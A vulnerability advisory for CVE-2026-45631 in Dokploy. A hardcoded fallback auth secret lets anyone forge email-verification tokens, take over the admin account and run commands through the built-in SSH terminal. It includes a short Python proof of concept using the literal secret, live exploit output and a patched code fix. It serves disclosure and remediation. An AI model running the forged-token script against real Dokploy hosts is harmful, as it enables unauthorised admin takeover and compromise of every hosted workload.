← Notes

CVE-2026-45631: Dokploy Pre-Auth Admin Takeover via Hardcoded Auth Secret

Overview

CVECVE-2026-45631
AdvisoryGHSA-w3gm-rc4p-9rhj
Componentpackages/server/src/constants/index.ts (BETTER_AUTH_SECRET fallback)
AffectedDokploy 0.27.0 through 0.28.8 (official install script)
ClassCWE-798 (Use of Hard-coded Credentials)
CVSS v3.110.0 (Critical) -- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Found byLukas Johannes Moeller (@JohannesLks)

TL;DR

Dokploy falls back to a hardcoded BETTER_AUTH_SECRET when the environment variable is unset. The official install script never sets it, so every default self-hosted instance shares the same signing key. An unauthenticated attacker forges an email-verification JWT, rides the autoSignInAfterVerification path to a valid admin session, and reaches host command execution through the built-in SSH terminal.

Root Cause

The server module exports a constant with a literal fallback:

// packages/server/src/constants/index.ts:88-89
export const BETTER_AUTH_SECRET =
    process.env.BETTER_AUTH_SECRET || "better-auth-secret-123456789";

Three properties combine into the takeover:

  • The install script published at dokploy.com/install.sh never sets BETTER_AUTH_SECRET, so the fallback applies in default deployments.
  • better-auth's /api/auth/verify-email handler validates verification tokens by HS256 signature only, with no per-user lookup against a stored challenge. A valid signature is sufficient.
  • Dokploy configures autoSignInAfterVerification: true, so a successful verification creates a database session and sets better-auth.session_token on the response.

Self-hosted admin users register with emailVerified: false; Dokploy never sends a real verification mail. The handler's "already verified" early-return therefore does not fire on the very accounts an attacker wants to take over.

Trigger

An attacker who knows (or guesses) the admin email forges the verification token offline and hits the endpoint once:

import jwt, time, requests

SECRET = "better-auth-secret-123456789"
TARGET = "https://dokploy.example.com"

token = jwt.encode(
    {"email": "admin@example.com",
     "iat": int(time.time()),
     "exp": int(time.time()) + 3600},
    SECRET, algorithm="HS256")

s = requests.Session()
s.get(f"{TARGET}/api/auth/verify-email?token={token}")
# s.cookies now contains better-auth.session_token = admin session

A second variant uses requestType: "change-email-verification" with an attacker-controlled updateTo field. That path mints a session even for accounts that already have emailVerified: true, by overwriting the admin email as part of the same request.

Live verification (excerpt)

--- Phase 1: Hardcoded Secret Confirmed ---
BETTER_AUTH_SECRET env: NOT_SET
Source grep: found "better-auth-secret-123456789" in /app/packages/server/dist/

--- Phase 3: ATTACK -- Forged JWT Auto-Sign-In ---
GET /api/auth/verify-email?token=<forged_jwt>
[+] Session cookie: better-auth.session_token=h6p8eKZdTJ6...

--- Phase 4: Admin Access Verification ---
[+] /api/trpc/project.all: {"result":{"data":{"json":[]}}}

The authenticated tRPC call from a fresh container confirms that the forged cookie grants the same access as a normal admin login.

Impact

  • Pre-auth admin takeover on the default Dokploy install. No prior account, no user interaction.
  • Admin role exposes Settings > Server > Terminal, an interactive SSH shell on the Dokploy host. That escalates the auth bypass into command execution against the PaaS host itself.
  • The Dokploy host stores deployment keys, registry credentials, and database connection strings for every managed application. A successful takeover therefore reaches every hosted workload, not only the Dokploy control plane.
  • Scope is Changed: the broken component (better-auth signing key) is distinct from the impacted component (the Dokploy host operating system).

Fix

The fallback must be removed. A safe default does two things at once: generate a cryptographically random secret on first start, and persist it inside the existing /etc/dokploy volume so the secret survives container restarts.

// replaces the literal fallback
const getOrCreateAuthSecret = (): string => {
    if (process.env.BETTER_AUTH_SECRET) {
        return process.env.BETTER_AUTH_SECRET;
    }
    const secretPath = process.env.NODE_ENV === "production"
        ? "/etc/dokploy/.auth-secret"
        : path.join(process.cwd(), ".docker", ".auth-secret");
    try {
        const existing = fs.readFileSync(secretPath, "utf-8").trim();
        if (existing.length >= 32) return existing;
    } catch {}
    const generated = crypto.randomBytes(32).toString("base64");
    fs.mkdirSync(path.dirname(secretPath), { recursive: true });
    fs.writeFileSync(secretPath, generated, { mode: 0o600 });
    return generated;
};

export const BETTER_AUTH_SECRET = getOrCreateAuthSecret();

Existing deployments that already set BETTER_AUTH_SECRET via env are unaffected. New installations and any instance still on the hardcoded default get a unique random secret on first startup, which invalidates pre-computed forged tokens.